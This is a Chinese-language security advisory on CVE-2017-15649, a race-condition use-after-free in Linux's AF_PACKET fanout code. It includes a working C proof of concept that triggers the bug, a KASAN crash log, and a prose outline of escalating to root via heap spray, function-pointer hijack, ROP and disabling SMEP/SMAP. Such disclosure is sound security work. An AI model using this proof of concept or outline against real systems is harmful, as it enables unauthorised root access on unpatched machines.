SSD安全公告–Linux内核AF_PACKET 释放后重用漏洞

漏洞概要
以下安全公告描述了在Linux内核的AF_PACKET中存在的一个UAF漏洞,成功利用该漏洞可能导致权限提升。
AF_PACKET套接字”允许用户在设备驱动层发送或者接收数据包”。例如,用户可以在物理层之上实现自己的协议,或者嗅探包含以太网或更高层协议头的数据包。
漏洞提交者
一名独立的安全研究人员发现并向 Beyond Security 的 SSD 报告了该漏洞。
厂商响应
更新一
CVE:CVE-2017-15649
“该漏洞很可能已经通过以下方式修复了:
packet: 重新绑定fanout hook时保持绑定锁定 – http://patchwork.ozlabs.org/patch/813945/
与此相关,但未合并的是
packet:在packet_do_bind函数中,使用bind_lock测试fanout – http://patchwork.ozlabs.org/patch/818726/
我们验证了在v4.14-rc2上不会触发该漏洞,但在第一次commit(008ba2a13f2d)上测试成功。”

漏洞详细信息
该UAF漏洞是由于fanout_add(来自setsockopt)和AF_PACKET套接字之间竞争条件导致的。
即使已经从fanout_add()创建了一个packet_fanout,竞争也会导致来自packet_do_bind()的__unregister_prot_hook()将po-> running设置为0。
这允许我们绕过packet_release()中的unregister_prot_hook()的检查,从而导致即使packet_fanout已经被释放,但是仍然可以从packet_type链接列表引用。
漏洞证明

// Please note, to have KASAN report the UAF, you need to enable it when compiling the kernel.
// the kernel config is provided too.
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <pthread.h>
#include <sys/utsname.h>
#include <sched.h>
#include <stdarg.h>
#include <stdbool.h>
#include <sys/stat.h>
#include <fcntl.h>
#define IS_ERR(c, s) { if (c) perror(s); }
struct sockaddr_ll {
	unsigned short	sll_family;
	short		sll_protocol; // big endian
	int		sll_ifindex;
	unsigned short	sll_hatype;
	unsigned char	sll_pkttype;
	unsigned char	sll_halen;
	unsigned char	sll_addr[8];
};
static int fd;
static struct ifreq ifr;
static struct sockaddr_ll addr;
void *task1(void *unused)
{
	int fanout_val = 0x3;
	// need race: check on po->running
	// also must be 1st or link wont register
	int err = setsockopt(fd, 0x107, 18, &fanout_val, sizeof(fanout_val));
	// IS_ERR(err == -1, "setsockopt");
}
void *task2(void *unused)
{
	int err = bind(fd, (struct sockaddr *)&addr, sizeof(addr));
	// IS_ERR(err == -1, "bind");
}
void loop_race()
{
	int err, index;
	while(1) {
		fd = socket(AF_PACKET, SOCK_RAW, PF_PACKET);
		IS_ERR(fd == -1, "socket");
		strcpy((char *)&ifr.ifr_name, "lo");
		err = ioctl(fd, SIOCGIFINDEX, &ifr);
		IS_ERR(err == -1, "ioctl SIOCGIFINDEX");
		index = ifr.ifr_ifindex;
		err = ioctl(fd, SIOCGIFFLAGS, &ifr);
		IS_ERR(err == -1, "ioctl SIOCGIFFLAGS");
		ifr.ifr_flags &= ~(short)IFF_UP;
		err = ioctl(fd, SIOCSIFFLAGS, &ifr);
		IS_ERR(err == -1, "ioctl SIOCSIFFLAGS");
		addr.sll_family = AF_PACKET;
		addr.sll_protocol = 0x0; // need something different to rehook && 0 to skip register_prot_hook
		addr.sll_ifindex = index;
		pthread_t thread1, thread2;
	    pthread_create (&thread1, NULL, task1, NULL);
	    pthread_create (&thread2, NULL, task2, NULL);
	    pthread_join(thread1, NULL);
	    pthread_join(thread2, NULL);
		// UAF
		close(fd);
	}
}
static bool write_file(const char* file, const char* what, ...) {
	char buf[1024];
	va_list args;
	va_start(args, what);
	vsnprintf(buf, sizeof(buf), what, args);
	va_end(args);
	buf[sizeof(buf) - 1] = 0;
	int len = strlen(buf);
	int fd = open(file, O_WRONLY | O_CLOEXEC);
	if (fd == -1)
		return false;
	if (write(fd, buf, len) != len) {
		close(fd);
		return false;
	}
	close(fd);
	return true;
}
void setup_sandbox() {
	int real_uid = getuid();
	int real_gid = getgid();
	if (unshare(CLONE_NEWUSER) != 0) {
		printf("[!] unprivileged user namespaces are not available\n");
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}
	if (unshare(CLONE_NEWNET) != 0) {
		perror("[-] unshare(CLONE_NEWUSER)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/setgroups", "deny")) {
		perror("[-] write_file(/proc/self/set_groups)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/uid_map", "0 %d 1\n", real_uid)) {
		perror("[-] write_file(/proc/self/uid_map)");
		exit(EXIT_FAILURE);
	}
	if (!write_file("/proc/self/gid_map", "0 %d 1\n", real_gid)) {
		perror("[-] write_file(/proc/self/gid_map)");
		exit(EXIT_FAILURE);
	}
}
int main(int argc, char *argv[])
{
	setup_sandbox();
	system("id; capsh --print");
	loop_race();
	return 0;
}

崩溃日志

[   73.703931] dev_remove_pack: ffff880067cee280 not found
[   73.717350] ==================================================================
[   73.726151] BUG: KASAN: use-after-free in dev_add_pack+0x1b1/0x1f0
[   73.729371] Write of size 8 at addr ffff880067d28870 by task poc/1175
[   73.732594]
[   73.733605] CPU: 3 PID: 1175 Comm: poc Not tainted 4.14.0-rc1+ #29
[   73.737714] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.10.1-1ubuntu1 04/01/2014
[   73.746433] Call Trace:
[   73.747985]  dump_stack+0x6c/0x9c
[   73.749410]  ? dev_add_pack+0x1b1/0x1f0
[   73.751622]  print_address_description+0x73/0x290
[   73.753646]  ? dev_add_pack+0x1b1/0x1f0
[   73.757343]  kasan_report+0x22b/0x340
[   73.758839]  __asan_report_store8_noabort+0x17/0x20
[   73.760617]  dev_add_pack+0x1b1/0x1f0
[   73.761994]  register_prot_hook.part.52+0x90/0xa0
[   73.763675]  packet_create+0x5e3/0x8c0
[   73.765072]  __sock_create+0x1d0/0x440
[   73.766030]  SyS_socket+0xef/0x1b0
[   73.766891]  ? move_addr_to_kernel+0x60/0x60
[   73.769137]  ? exit_to_usermode_loop+0x118/0x150
[   73.771668]  entry_SYSCALL_64_fastpath+0x13/0x94
[   73.773754] RIP: 0033:0x44d8a7
[   73.775130] RSP: 002b:00007ffc4e642818 EFLAGS: 00000217 ORIG_RAX: 0000000000000029
[   73.780503] RAX: ffffffffffffffda RBX: 00000000004002f8 RCX: 000000000044d8a7
[   73.785654] RDX: 0000000000000011 RSI: 0000000000000003 RDI: 0000000000000011
[   73.790358] RBP: 00007ffc4e642840 R08: 00000000000000ca R09: 00007f4192e6e9d0
[   73.793544] R10: 0000000000000000 R11: 0000000000000217 R12: 000000000040b410
[   73.795999] R13: 000000000040b4a0 R14: 0000000000000000 R15: 0000000000000000
[   73.798567]
[   73.799095] Allocated by task 1360:
[   73.800300]  save_stack_trace+0x16/0x20
[   73.802533]  save_stack+0x46/0xd0
[   73.803959]  kasan_kmalloc+0xad/0xe0
[   73.805833]  kmem_cache_alloc_trace+0xd7/0x190
[   73.808233]  packet_setsockopt+0x1d29/0x25c0
[   73.810226]  SyS_setsockopt+0x158/0x240
[   73.811957]  entry_SYSCALL_64_fastpath+0x13/0x94
[   73.814636]
[   73.815367] Freed by task 1175:
[   73.816935]  save_stack_trace+0x16/0x20
[   73.821621]  save_stack+0x46/0xd0
[   73.825576]  kasan_slab_free+0x72/0xc0
[   73.827477]  kfree+0x91/0x190
[   73.828523]  packet_release+0x700/0xbd0
[   73.830162]  sock_release+0x8d/0x1d0
[   73.831612]  sock_close+0x16/0x20
[   73.832906]  __fput+0x276/0x6d0
[   73.834730]  ____fput+0x15/0x20
[   73.835998]  task_work_run+0x121/0x190
[   73.837564]  exit_to_usermode_loop+0x131/0x150
[   73.838709]  syscall_return_slowpath+0x15c/0x1a0
[   73.840403]  entry_SYSCALL_64_fastpath+0x92/0x94
[   73.842343]
[   73.842765] The buggy address belongs to the object at ffff880067d28000
[   73.842765]  which belongs to the cache kmalloc-4096 of size 4096
[   73.845897] The buggy address is located 2160 bytes inside of
[   73.845897]  4096-byte region [ffff880067d28000, ffff880067d29000)
[   73.851443] The buggy address belongs to the page:
[   73.852989] page:ffffea00019f4a00 count:1 mapcount:0 mapping:          (null) index:0x0 compound_mapcount: 0
[   73.861329] flags: 0x100000000008100(slab|head)
[   73.862992] raw: 0100000000008100 0000000000000000 0000000000000000 0000000180070007
[   73.866052] raw: dead000000000100 dead000000000200 ffff88006cc02f00 0000000000000000
[   73.870617] page dumped because: kasan: bad access detected
[   73.872456]
[   73.872851] Memory state around the buggy address:
[   73.874057]  ffff880067d28700: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.876931]  ffff880067d28780: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.878913] >ffff880067d28800: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.880658]                                                              ^
[   73.884772]  ffff880067d28880: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.890978]  ffff880067d28900: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb
[   73.897763] ==================================================================

我们知道已经被释放的是一个kmalloc-4096对象:

```
struct packet_fanout {
	possible_net_t		net;
	unsigned int		num_members;
	u16			id;
	u8			type;
	u8			flags;
	union {
		atomic_t		rr_cur;
		struct bpf_prog __rcu	*bpf_prog;
	};
	struct list_head	list;
	struct sock		*arr[PACKET_FANOUT_MAX];
	spinlock_t		lock;
	refcount_t		sk_ref;
	struct packet_type	prot_hook ____cacheline_aligned_in_smp;
};
```

当通过af_packet.c中的register_prot_hook()的dev_add_pack()进行注册时,它的prot_hook成员在packet handler中被引用:

```
struct packet_type {
	__be16			type;	/* This is really htons(ether_type). */
	struct net_device	*dev;	/* NULL is wildcarded here	     */
	int			(*func) (struct sk_buff *,
					 struct net_device *,
					 struct packet_type *,
					 struct net_device *);
	bool			(*id_match)(struct packet_type *ptype,
					    struct sock *sk);
	void			*af_packet_priv;
	struct list_head	list;
};
```

结构体packet_type内部的函数指针,保存在一个大的slab分配器(kmalloc-4096)中,这使得堆喷射变更容易和更可靠,因为内核较少使用较大slab分配器。
我们可以使用常规的内核堆喷射来替换被释放的packet_fanout对象的内容,例如用sendmmsg()或其它函数。
即使分配的内存空间不是永久的,但仍然可以替换packet_fanout中的目标内容(例如函数指针),并且由于kmalloc-4096非常稳定,所以我们的payload几乎不可能被其它分配破坏。
当使用dev_queue_xmit()发送一个skb时会调用id_match(),通过AF_PACKET套接字上的sendmsg可以到达该路径。如果dev_queue_xmit参数非NULL,它通过调用id_match()的包处理程序列表进行循环。因此,可以通过下述方式进行漏洞利用。
一旦知道了内核的代码段,我们就可以把内核栈转换成我们伪造的packet_fanout对象和ROP。第一个参数ptype包含我们伪造对象的prot_hook成员的地址,这使得我们知道在哪里跳转。
一旦进入ROP,我们可以跳转到native_write_c4(x)去关闭SMEP/SMAP,然后跳回到用户空间执行我们真正的payload,通过调用commit_creds(prepare_kernel_cred(0)),将我们权限提升至root 。